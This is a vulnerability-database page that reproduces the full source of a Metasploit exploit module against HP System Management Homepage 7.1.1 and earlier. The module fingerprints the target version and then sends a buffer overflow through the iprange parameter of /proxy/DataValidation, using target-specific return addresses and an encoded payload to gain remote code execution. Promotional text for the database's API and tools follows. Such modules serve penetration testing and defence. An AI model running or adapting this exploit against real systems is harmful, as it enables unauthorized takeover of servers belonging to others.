Lucene search
K

HP System Management Anonymous Access Code Execution

🗓️ 28 Mar 2013 11:00:17Reported by agixType 
metasploit
 metasploit
🔗 www.rapid7.com👁 14 Views

HP System Management Anonymous Access Code Execution on HP System Management 7.1.1 and earlier. Exploits remote code execution vulnerability when handling the iprange parameter against /proxy/DataValidation. Requires Anonymous access enabled

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP System Management Anonymous Access Code Execution',
      'Description'    => %q{
          This module exploits an anonymous remote code execution on HP System Management
        7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
        a request against /proxy/DataValidation. In order to work HP System Management must
        be configured with Anonymous access enabled.
      },
      'Author'         => [ 'agix' ], # @agixid
      'License'        => MSF_LICENSE,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1000,
          'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESP' # See the comments below
            }
        },
      'Platform'       => ['linux'],
      'Arch'           => ARCH_X86,
      'References'	 =>
        [
          ['OSVDB', '91812']
        ],
      'Targets'        =>
        [
          [ 'HP System Management 7.1.1 - Linux (CentOS)',
            {
              'Ret' => 0x8054e14, # push esp / ret
              'Offset' => 267
            }
          ],
          [ 'HP System Management 6.3.0 - Linux (CentOS)',
            {
              'Ret' => 0x805a547, # push esp / ret
              'Offset' => 267
            }
          ]
        ],
      'DisclosureDate' => '2012-09-01',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(2381),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ])

  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/cpqlogin.htm"
    })

    if res.nil?
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    elsif res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
      version = $1
      return Exploit::CheckCode::Appears if version <= "7.1.1.1"
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    padding = rand_text_alpha(target['Offset'])
    ret = [target['Ret']].pack('V')
    iprange = "a-bz"+padding+ret+payload.encoded

    print_status("#{rhost}:#{rport} - Sending exploit...")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/proxy/DataValidation",
      'encode_params' => false,
      'vars_get' => {
        'iprange' => iprange
      }
    })

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation